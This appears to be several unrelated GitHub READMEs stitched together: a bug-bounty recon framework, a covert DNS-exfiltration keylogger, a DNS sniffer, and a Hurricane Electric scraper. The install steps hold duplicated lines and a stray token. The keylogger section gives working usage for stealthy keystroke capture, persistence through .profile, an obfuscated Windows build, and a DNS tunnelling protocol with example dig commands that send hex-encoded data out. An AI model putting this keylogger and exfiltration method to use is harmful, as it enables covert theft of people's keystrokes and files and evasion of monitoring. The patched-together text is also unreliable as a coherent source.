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Howdy! My name is Harrison Richardson, or rs0n (arson) when I want to feel cooler than I really am. The code in this repository started as a small collection of scripts to help automate many of the common Bug Bounty hunting processes I found myself repeating. Over time, I built a simple web application with a MongoDB connection to manage my findings and identify valuable data points. After 5 years of Bug Bounty hunting, both part-time and full-time, I'm finally ready to package this collection of tools into a proper framework.
The Ars0n Framework is designed to provide aspiring Application Security Engineers with all the tools they need to leverage Bug Bounty hunting as a means to learn valuable, real-world AppSec concepts and make 💰 doing it! My goal is to lower the barrier of entry for Bug Bounty hunting by providing easy-to-use automation tools in combination with educational content and how-to guides for a wide range of Web-based and Cloud-based vulnerabilities. In combination with my YouTube content, this framework will help aspiring Application Security Engineers to quickly and easily understand real-world security concepts that directly translate to a high paying career in Cyber Security.
In addition to using this tool for Bug Bounty Hunting, aspiring engineers can also use this Github Repository as a canvas to practice collaborating with other developers! This tool was inspired by Metasploit and designed to be modular in a similar way. Each Script (Ex: wildfire.py or slowburn.py) is basically an algorithm that runs the Modules (Ex: fire-starter.py or fire-scanner.py) in a specific patter for a desired result. Because of this design, the community is free to build new Scripts to solve a specific use-case or Modules to expand the results of these Scripts. By learning the code in this framework and using Github to contribute your own code, aspiring engineers will continue to learn real-world skills that can be applied on the first day of a Security Engineer I position.
My hope is that this modular framework will act as a canvas to help share what I've learned over my career to the next generation of Security Engineers! Trust me, we need all the help we can get!!
Paste this code block into a clean installation of Kali Linux 2023.4 to download, install, and run the latest stable Alpha version of the framework:
FreshRSS sudo apt update && sudo apt-get update
sudo apt -y upgrade && sudo apt-get -y upgrade
wget https://github.com/R-s0n/ars0n-framework/releases/download/v0.0.2-alpha/ars0n-framework-v0.0.2-alpha.tar.gz
tar -xzvf ars0n-framework-v0.0.2-alpha.tar.gz
rm ars0n-framework-v0.0.2-alpha.tar.gz
cd ars0n-framework
./install.sh
wget https://github.com/R-s0n/ars0n-framework/releases/download/v0.0.2-alpha/ars0n-framework-v0.0.2-alpha.tar.gz
tar -xzvf ars0n-framework-v0.0.2-alpha.tar.gz
rm ars0n-framework-v0.0.2-alpha.tar.gz
The Ars0n Framework includes a script that installs all the necessary tools, packages, etc. that are needed to run the framework on a clean installation of Kali Linux 2023.4.
Please note that the only supported installation of this framework is on a clean installation of Kali Linux 2023.3. If you choose to try and run the framework outside of a clean Kali install, I will not be able to help troubleshoot if you have any issues.
./install.sh
This video shows exactly what to expect from a successful installation.
If you are using an ARM Processor, you will need to add the --arm flag to all Install/Run scripts
./install.sh --arm
You will be prompted to enter various API keys and tokens when the installation begins. Entering these is not required to run the core functionality of the framework. If you do not enter these API keys and tokens at the time of installation, simply hit enter at each of the prompts. The keys can be added later to the ~/.keys directory. More information about how to add these keys manually can be found in the Frequently Asked Questions section of this README.
Once the installation is complete, you will be given the option to run the application by entering Y. If you choose not the run the application immediately, or if you need to run the application after a reboot, simply navigate to the root directly and run the run.sh bash script.
./run.sh
If you are using an ARM Processor, you will need to add the --arm flag to all Install/Run scripts
./run.sh --arm
The Ars0n Framework's Core Modules are used to determine the basic scanning logic. Each script is designed to support a specific recon methodology based on what the user is trying to accomplish.
At this time, the Wildfire script is the most widely used Core Module in the Ars0n Framework. The purpose of this module is to allow the user to scan multiple targets that allow for testing on any subdomain discovered by the researcher.
How it works:
Most Wildfire scans take between 8 and 48 hours to complete against a single domain if all Sub-Modules are being run. Variations in this timing can be caused by a number of factors, including the target application and the machine running the framework.
Also, please note that most data will not show in the GUI until the scan has completed. It's best to try and run the scan overnight or over a weekend, depending on the number of domains being scanned, and return once the scan has complete to move from Recon to Enumeration.
Running Wildfire:
Wildfire can be run from the GUI using the Wildfire button on the dashboard. Once clicked, the front-end will use the checkboxes on the screen to determine what flags should be passed to the scanner.
Please note that running scans from the GUI still has a few bugs and edge cases that haven't been sorted out. If you have any issues, you can simply run the scan form the CLI.
All Core Modules for The Ars0n Framework are stored in the /toolkit directory. Simply navigate to the directory and run wildfire.py with the necessary flags. At least one Sub-Module flag must be provided.
python3 wildfire.py --start --cloud --scan
Unlike the Wildfire module, which requires the user to identify target domains to scan, the Slowburn module does that work for you. By communicating with APIs for various bug bounty hunting platforms, this script will identify all domains that allow for testing on any discovered subdomain. Once the data has been populated, Slowburn will randomly choose one domain at a time to scan in the same way Wildfire does.
Please note that the Slowburn module is still in development and is not considered part of the stable alpha release. There will likely be bugs and edge cases encountered by the user.
In order for Slowburn to identify targets to scan, it must first be initialized. This initialization step collects the necessary data from various API's and deposits them into a JSON file stored locally. Once this initialization step is complete, Slowburn will automatically begin selecting and scanning one target at a time.
To initalize Slowburn, simply run the following command:
python3 slowburn.py --initialize
Once the data has been collected, it is up to the user whether they want to re-initialize the tool upon the next scan.
Remember that the scope and targets on public bug bounty programs can change frequently. If you choose to run Slowburn without initializing the data, you may be scanning domains that are no longer in scope for the program. It is strongly recommended that Slowburn be re-initialized each time before running.
If you choose not to re-initialize the target data, you can run Slowburn using the previously collected data with the following command:
python3 slowburn.py
The Ars0n Framework's Sub-Modules are designed to be leveraged by the Core Modules to divide the Recon & Enumeration phases into specific tasks. The data collected in each Sub-Module is used by the others to expand your picture of the target's attack surface.
Fire-Starter is the first step to performing recon against a target domain. The goal of this script is to collect a wealth of information about the attack surface of your target. Once collected, this data will be used by all other Sub-Modules to help the user identify a specific URL that is potentially vulnerable.
Fire-Starter works by running a series of open-source tools to enumerate hidden subdomains, DNS records, and the ASN's to identify where those external entries are hosted. Currently, Fire-Starter works by chaining together the following widely used open-source tools:
These tools cover a wide range of techniques to identify hidden subdomains, including web scraping, brute force, and crawling to identify links and JavaScript URLs.
Once the scan is complete, the Dashboard will be updated and available to the user.
Most Sub-Modules in The Ars0n Framework requre the data collected from the Fire-Starter module to work. With this in mind, Fire-Starter must be included in the first scan against a target for any usable data to be collected.
Coming soon...
Fire-Scanner uses the results of Fire-Starter and Fire-Cloud to perform Wide-Band Scanning against all subdomains and cloud services that have been discovered from previous scans.
At this stage of development, this script leverages Nuclei almost exclusively for all scanning. Instead of simply running the tool, Fire-Scanner breaks the scan down into specific collections of Nuclei Templates and scans them one by one. This strategy helps ensure the scans are stable and produce consistent results, removes any unnecessary or unsafe scan checks, and produces actionable results.
The vast majority of issues installing and/or running the Ars0n Framework are caused by not installing the tool on a clean installation of Kali Linux.
It is important to remember that, at its core, the Ars0n Framework is a collection of automation scripts designed to run existing open-source tools. Each of these tools have their own ways of operating and can experience unexpected behavior if conflicts emerge with any existing service/tool running on the user's system. This complexity is the reason why running The Ars0n Framework should only be run on a clean installation of Kali Linux.
Another very common issue users experience is caused by MongoDB not successfully installing and/or running on their machine. The most common manifestation of this issue is the user is unable to add an initial FQDN and simply sees a broken GUI. If this occurs, please ensure that your machine has the necessary system requirements to run MongoDB. Unfortunately, there is no current solution if you run into this issue.
Coming soon...
This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.
These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.
The server uses python3.
To install dependencies, run python3 -m pip install -r requirements.txt
To start the server, run python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
By default, the server listens on UDP port 53. Use the -p flag to specify a different port.
ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.
domain is the domain to listen for, which should be the domain that the server is authoritative for.
On the registrar, you want to change your domain's namespace to custom DNS.
Point them to two domains, ns1.example.com and ns2.example.com.
Add records that make point the namespace domains to your exfiltration server's IP address.
This is the same as setting glue records.
The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.
logger.sh# Usage: logger.sh [-options] domain
# Positional Arguments:
# domain: the domain to send data to
# Options:
# -p path: give path to log file to listen to
# -l: run the logger with warnings and errors printed
To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent. The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.
The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.
The -l option will show warnings and errors. Can be useful for debugging.
logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
To build keylogging program, run make in the windows directory. To build with reduced size and some amount of obfuscation, make the production target. This will create the build directory for you and output to a file named logger.exe in the build directory.
make production domain=example.com
You can also choose to build the program with debugging by making the debug target.
make debug domain=example.com
For both targets, you will need to specify the domain the server is listening for.
You can use dig to send requests to the server:
dig @127.0.0.1 a.1.1.1.example.com A +short send a connection request to a server on localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short send a test message to localhost.
Replace example.com with the domain the server is listening for.
A record requests starting with a indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.
The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].
The server will respond with an IP address in following format: 123.123.123.[id]
Concurrent connections cannot exceed 254, and clients are never considered "disconnected."
A record requests starting with b indicate exfiltrated data being sent to the server.
The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].
The server will respond with [code].123.123.123
id is the id that was established on connection. Data is sent as ASCII encoded in hex.
code is one of the codes described below.
200: OKIf the client sends a request that is processed normally, the server will respond with code 200.
201: Malformed Record RequestsIf the client sends an malformed record request, the server will respond with code 201.
202: Non-Existant ConnectionsIf the client sends a data packet with an id greater than the # of connections, the server will respond with code 202.
203: Out of Order PacketsIf the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.
204 Reached Max ConnectionIf the client attempts to create a connection when the max has reached, the server will respond with code 204.
Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.
The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat, you should select the appropriate option to print ASCII control characters, such as -v for cat, or open it in a text-editor.
The keylogger relies on script, so the keylogger won't run in non-interactive shells.
For some reason, the Windows Dns_Query_A always sends duplicate requests. The server will process it fine because it discards repeated packets.
DNSWatch is a Python-based tool that allows you to sniff and analyze DNS (Domain Name System) traffic on your network. It listens to DNS requests and responses and provides insights into the DNS activity.
git clone https://github.com/HalilDeniz/DNSWatch.gitpip install -r requirements.txtpython dnswatch.py -i <interface> [-v] [-o <output_file>] [-k <target_ip>] [--analyze-dns-types] [--doh]
-i, --interface: Specify the network interface (e.g., eth0).-v, --verbose: Use this flag for more verbose output.-o, --output: Specify the filename to save results.-t, --target-ip: Specify a specific target IP address to monitor.-adt, --analyze-dns-types: Analyze DNS types.--doh: Use DNS over HTTPS (DoH) for resolving DNS requests.-fd, --target-domains: Filter DNS requests by specified domains.-d, --database: Enable database storage for DNS requests.Press Ctrl+C to stop the sniffing process.
python dnswatch.py -i eth0python dnswatch.py -i eth0 -o dns_results.txtpython dnswatch.py -i eth0 -k 192.168.1.100python dnswatch.py -i eth0 --analyze-dns-typespython dnswatch.py -i eth0 --dohpython3 dnswatch.py -i wlan0 --databaseDNSWatch is licensed under the MIT License. See the LICENSE file for details.
This tool is intended for educational and testing purposes only. It should not be used for any malicious activities.
Raw html extractor from Hurricane Electric portal
go install -v github.com/HuntDownProject/hednsextractor/cmd/hednsextractor@latest
usage -hGetting the IP Addresses used for hackerone.com, and enumerating only the networks.
nslookup hackerone.com | awk '/Address: / {print $2}' | hednsextractor -silent -only-networks
[INF] [104.16.99.52] 104.16.0.0/12
[INF] [104.16.99.52] 104.16.96.0/20Getting the IP Addresses used for hackerone.com, and enumerating only the domains (using tail to show the first 10 results).
nslookup hackerone.com | awk '/Address: / {print $2}' | hednsextractor -silent -only-domains | tail -n 10
herllus.com
hezzy.store
hilariostore.com
hiperdrop.com
hippratas.online
hitsstory.com
hobbyshop.site
holyangelstore.com
holzfallerstore.fun
homedescontoo.comEdit the config file and add the Virustotal API Key
cat $HOME/.config/hednsextractor/config.yaml # hednsextractor config file
# generated by https://github.com/projectdiscovery/goflags
# show only domains
#only-domains: false
# show only networks
#only-networks: false
# show virustotal score
#vt: false
# minimum virustotal score to show
#vt-score: 0
# ip address or network to query
#target:
# show silent output
#silent: false
# show verbose output
#verbose: false
# virustotal api key
vt-api-key: Your API Key goes hereSo, run the hednsextractor with -vt parameter.
nslookup hackerone.com | awk '/Address: / {print $2}' | hednsextractor -only-domains -vt And the output will be as below
_______ ______ _ _______ _______ _________ _______ _______ _______ _________ _______ _______
|\ /|( ____ \( __ \ ( ( /|( ____ \( ____ \|\ /|\__ __/( ____ )( ___ )( ____ \\__ __/( ___ )( ____ )
| ) ( || ( \/| ( \ )| \ ( || ( \/| ( \/( \ / ) ) ( | ( )|| ( ) || ( \/ ) ( | ( ) || ( )|
| (___) || (__ | | ) || \ | || (_____ | (__ \ (_) / | | | (____)|| (___) || | | | | | | || (____)|
| ___ || __) | | | || (\ \) |(_____ )| __) ) _ ( | | | __)| ___ || | | | | | | || __)
| ( ) || ( | | ) || | \ | ) || ( / ( ) \ | | | (\ ( | ( ) || | | | | | | || (\ (
| ) ( || (____/\| (__/ )| ) \ |/\____) || (____/\( / \ ) | | | ) \ \__| ) ( || (____/\ | | | (___) || ) \ \__
|/ \|(_______/(______/ |/ )_)\_______)(_______/|/ \| )_( |/ \__/|/ \|(_______/ )_( (_______)|/ \__/
[INF] Current hednsextractor version v1.0.0
[INF] [104.16.0.0/12] domain: ohst.ltd VT Score: 0
[INF] [104.16.0.0/12] domain: jxcraft.net VT Score: 0
[INF] [104.16.0.0/12] domain: teatimegm.com VT Score: 2
[INF] [104.16.0.0/12] domain: debugcheat.com VT Score: 0
